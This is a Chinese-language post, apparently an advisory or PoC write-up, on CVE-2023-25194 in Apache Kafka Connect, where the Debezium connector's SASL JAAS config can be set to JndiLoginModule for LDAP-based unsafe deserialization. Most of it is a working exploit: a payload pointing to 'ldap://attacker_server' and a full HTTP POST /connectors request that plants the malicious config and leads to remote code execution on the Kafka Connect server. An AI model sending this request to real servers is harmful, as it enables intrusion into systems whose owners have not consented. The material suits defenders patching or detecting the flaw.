Apache Kafka 的最新更新解决的一个漏洞是一个不安全的 Java 反序列化问题,可以利用该漏洞通过身份验证远程执行代码。
Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。超过 80% 的财富 100 强公司信任并使用 Kafka。
通过 Aiven API 或 Kafka Connect REST API 配置连接器时,攻击者可以为连接器设置database.history.producer.sasl.jaas.config
连接器属性io.debezium.connector.mysql.MySqlConnector
。其他 debezium 连接器也可能如此。通过将连接器值设置为"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"
,服务器将连接到攻击者的 LDAP 服务器并反序列化 LDAP 响应,攻击者可以使用它在 kafka 连接服务器上执行 java 反序列化小工具链。
POCGitHub - ohnonoyesyes/CVE-2023-25194
POST /connectors HTTP/1.1
Host: xxxx:8083
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close
Content-Length: 1109
{"name": "test",
"config":
{
"connector.class":"io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "xxxxx",
"database.port": "3306",
"database.user": "root",
"database.password": "xxxxxx",
"database.dbname": "xxxx",
"database.sslmode": "SSL_MODE",
"database.server.id": "1234",
"database.server.name": "localhost",
"table.include.list": "MYSQL_TABLES",
"tasks.max":"1",
"topic.prefix": "aaa22",
"debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory",
"schema.history.internal.kafka.topic": "aaa22",
"schema.history.internal.kafka.bootstrap.servers": "kafka:9202",
"database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
}
}